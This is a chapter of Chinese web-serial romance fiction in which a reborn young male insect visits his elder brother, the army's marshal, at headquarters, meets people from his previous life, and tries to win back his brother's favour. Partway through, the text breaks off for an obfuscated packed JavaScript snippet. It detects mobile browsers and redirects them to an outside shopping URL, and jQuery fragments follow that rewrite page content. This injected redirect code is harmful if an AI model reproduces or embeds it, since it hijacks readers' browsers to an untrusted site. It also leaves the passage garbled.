雌兄恼羞成怒地一把推开以撒走了,并给了以撒两个字:“无耻。”
雄虫倒在床上笑得胸膛发震,因为他看到雌兄面红耳赤,皮肤本就雪白,稍微有点颜色变化丝毫遮掩不住,他的纯情雌兄被他逗弄得红意从耳尖蔓延到了耳根,有向下蔓延到脖颈的趋势。
没法形容的风情万种,以撒看着被哥摔上的房门,舔了舔唇角,意犹未尽地嗅一嗅雌兄留在空气中的气味,他没有闻到过雌兄的信息素,所以把这气味当成了雌兄的体香。
他确实有点过分,他亲爱的兄长二十八岁了连雄虫的手都没牵过,却被他这样戏弄,不过雌兄没有苛责他,也没有过分生气,大概率是喜欢他的?
以撒不知道,无耻就无耻吧,总比再死一次的好。
可让他惊讶的是,自从这件事之后,雌兄连着两天都没有回家,一直住在军部大院,也没给家里什么消息。
以撒终于在周末有时间了,还想着约雌兄出去玩,顺便培养感情,可他的雌兄压根不回来了!
以撒觉得自己是不是做的有点过头了?发出去的消息,雌兄也不回,真生气了?
耶罗罕也觉得蹊跷:“周末不是可以休息吗?老大怎么不回家?”
约书亚警觉似的看向雄虫儿子:“你又惹你哥生气了?他好不容易安定下来,能多回家几次,你怎么就不懂事?”
以撒心虚地辩解:“我没有啊,我哪能惹他生气,你们知道我最怕他了……”
上一世确实又敬又怕,都不敢把眼神往哥身上放,可这一世不一样,以撒觉得自己不主动点,他的雌兄永远都不会对他有想法。
哪怕他长得很帅,还年轻,又会甜言蜜语,雌兄都不带看他的。
以撒也觉得很气馁,追约雅敬这件事本就不靠谱,雌兄过于刚正不阿,宁愿待在军部大院都不愿意回来看到他。
约书亚不管是不是他干的好事,都只有一句:“反正你哥那天晚上回来见你不在,出去把你接回来之后,第二天上班就没回来,你自己想办法去把他哄好。”
以撒没有底气地咕哝:“万一军部事情多,而我哥在加班呢,你怎么把我想的那么坏?我可是你亲儿子!”
约书亚摆着一张严肃的臭脸:“就是因为知道你是我亲儿子我才知道你什么德行,别仗着你哥宠着你,你就总是惹他生气,晚点我做几个菜你给他送去,他不会做饭,军部的饭菜哪有家里的好吃。”
以撒无言地看着亲雌父:“你这样会让我觉得我哥才是你亲生的,而我是捡来的,亲爱的爸爸!”
以撒很少叫爸爸,听起来很滑稽,耶罗罕没忍住笑了一声:“听你雌父的,跟你哥把关系搞好,你以后还得靠他。”
以撒哪能不知道,不但他要靠雌兄,这整个公爵府都得靠雌兄啊。
不过也好,他就有借口去探雌兄的口风,看看雌兄到底是生气了还是不好意思。
约书亚做了两个硬菜,吩咐执事送以撒去军部大楼。
以撒拎着饭盒,心里很慌,他知道雌兄不想见他。
大概是他的那些轻薄话让雌兄丢了面子,毕竟比他大了十岁的雌虫,还是当亲哥一样尊敬着长大的,却说出那么没有分寸的话。
也不知道他那天晚上醉酒之后,有没有说什么不过脑的混账话,以撒挠挠头发。
军部大楼在圣白宫附近,是一座独立的建筑,特别具有虫族的风格,大楼上镶嵌着虫族帝国的国徽,而他的雌兄是里面最高的领导。
除了总统阁下,谁见了他都得行礼。
以撒自然是无法靠近的,这是军事重地,就算是总统阁下来访,也得上报了约雅敬,才能进去。
故而以撒在距离军部还有一里路的地方下了飞船,军部的入口处到处都是飞行巡逻的虫兵,锋利的翅膀能砍透几寸厚的特殊合金。
威严肃穆,时不时还会有巡逻队伍从入口附近走过。
以撒前来拜访,被几只飞在空中的具有翅膀的拟人雌虫盯着。
警卫雌虫朝着以撒喊话:“军部重地,闲虫莫入!”
以撒礼貌地颔首致歉:“对不起打扰了,我来找我兄长,他是你们这里的领导,叫约雅敬。”
雌兵一听,有一只从高空飞下来,好像去了警卫室,过了会儿防御高墙厚重的门扉开了,从里面走出来一只身穿军装的军雌,看到那军雌的瞬间,以撒的心顿了一下。
是他前世第三任雌妻的兄长玛贝尔,后来在一次出任务打击犯罪分子时牺牲了,他刚想说什么,就听到一个熟悉的声音从门内传来:“听说元帅家有只雄虫弟弟,长得不错,就是不学无术,他很出名。”
以撒眼睛瞪大了,这声音熟悉地不像话,还带着同龄虫的朝气和不屈,不是那后来强制匹配给他的军雌少将洛厄斯又是谁?
以撒紧张地说不出话来,直到那跟他同龄的雌虫少年从里面走出来,和他视线对上的瞬间,以撒才感觉眼眶有些发酸。
此时洛厄斯虽然还在上军校,但已经被军部特招了,所以经常在军部,只是上一世在洛厄斯嫁给他之前,他很少来军部,故也不怎么认识。
也是在被强制匹配后才有的接触,没想到这一世见面这么早。
长相俊秀的雌虫少年将他打量一番,属实觉得稀罕:“真是雄虫,你是元帅的弟弟吗?”
以撒赶紧回过神来回答:“是、是的,我来给我哥送饭。”
玛贝尔让他先进去在警务室待着,他给元帅打内部联系,让元帅出来接。
以撒乖乖地坐在警务室的沙发上,洛厄斯坐在他的不远处,已经把他打量过好几遍了:“以撒少爷,你今年多大了?”
以撒没敢看他:“十八岁了。”
洛厄斯笑了一声:“好巧,我也十八岁,我俩同龄,以撒少爷上的什么大学?”
以撒轻轻地吐口气,语气轻柔地回答:“帝国财经大学。”
洛厄斯若有所思地点头:“那挺不错的,那个学校出过很多虫才,现在最大的财阀家族艾默生家的雌虫总裁就是那个学校出来的,很厉害的一只雌虫。”
以撒感觉要冒冷汗:“是的,是早我几届的学长,也算是认识……”
他实在不想和洛厄斯说话,总是会勾起他一些过去的回忆,雌兄怎么还不来?
正忐忑着,外面响起了小型飞行器的声音,玛贝尔推开了警务室的房门,对外面的雌虫毕恭毕敬:“元帅,您家小少爷来给您送饭。”
约雅敬一身板正的军装,军靴踩着地板走进来看了一眼,给了以撒一个眼神:“走。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17730634|208944||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
”
以撒赶紧起来,看都没看洛厄斯一眼就道别:“有缘再会。”
洛厄斯还想说什么,看到以撒出去了,自己也起身追了出去:“以撒少爷,留一个联系方式?”
以撒已经上了雌兄用来代步的军部小型飞行器:“下次,下次一定。”
约雅敬冷着脸上来,驾驶飞行器离去,他在前面的反窥镜里看到了雄虫弟弟的紧张,弟弟额头都在冒细密的汗。
约雅敬有点生气:“看到一只军雌就走不动路是不是?”
以撒这才回神:“啊?没有啊,只是有点渊源,所以才觉得紧张。”
约雅敬不解:“洛厄斯是军校的学生,也是军部特招的兵种,你跟他压根不认识,哪来的渊源?”
以撒:“……”
听得出来雌兄对他意见很大,以撒抱着怀里的饭盒,侧头看雌兄。
“怎么脾气突然这么大?动不动就生我的气,我就是看了一眼,又没做什么,你干嘛跟我发脾气?”
“……”
“连着几天不回家,家里的高级虫们还以为你出什么事了,你就算对我有意见,也得跟他们报个平安吧?”
“闭嘴。”
“……”
“哥哥,你的心思真难琢磨,如果是因为那天早上的事情,那我跟你道歉,我以后不说那些混账话就是了。”
“……”
“你没必要躲着我,真的,我再不要脸,也不会强迫你,而且我也强迫不了你,你分分钟干翻我。”
约雅敬让他别说话了,军部大楼到了。
以撒只得闭嘴,结果这一下飞行器,就看到军部门口站满了身姿挺拔板正的军雌,以撒唏嘘不已,果然长得周正的雌虫都上交给国家了。
殊不知大家都是来围观元帅约雅敬的雄虫弟弟。
过于稀有的高级雄虫,让雌虫发了疯的兴奋。
约雅敬冷着脸带他进去,呵斥周围:“还有没有规矩?都跑来门口干什么?”
军雌们迅速站直行礼:“报告元帅,我们就是来看看高级雄虫长什么样!”
约雅敬冷声道:“回岗位待命!”
军雌们只得颓废而归,不过可算是看到了高级雄虫。
那小白脸长得跟白雪馒头似的,让雌虫看一眼都兴奋地不成样子。
“怪不得元帅宠他,这要是换成我,我恨不得含在口里。”
“含在口里干什么?你好龌龊。”
“……”
高级雄虫的到来引起了军部的骚动,约雅敬赶忙将以撒带去了他的休息室,一张脸冷得像块冰。
以撒将饭盒放下,终于到了哥哥办公的地方,他看雌兄冷着脸坐在了沙发上,以撒露出招牌的阳光笑容:“哥哥?”
约雅敬冷眼一抬,以撒的笑晃到了他的眼,紫瞳又垂下去,雪白的睫毛盖住了眼中的情绪:“干什么?”
以撒走到他面前蹲下,握住他的手:“别生气了好不好?你一生气我的心好痛啊。”
约雅敬:“……”
以撒试探地伸手:“抱抱,你不在家,我很想你。”
约雅敬的喉结动了动,握在以撒手里的修长手指火热,发颤:“成何体统……你是小孩子吗,动不动就要抱。”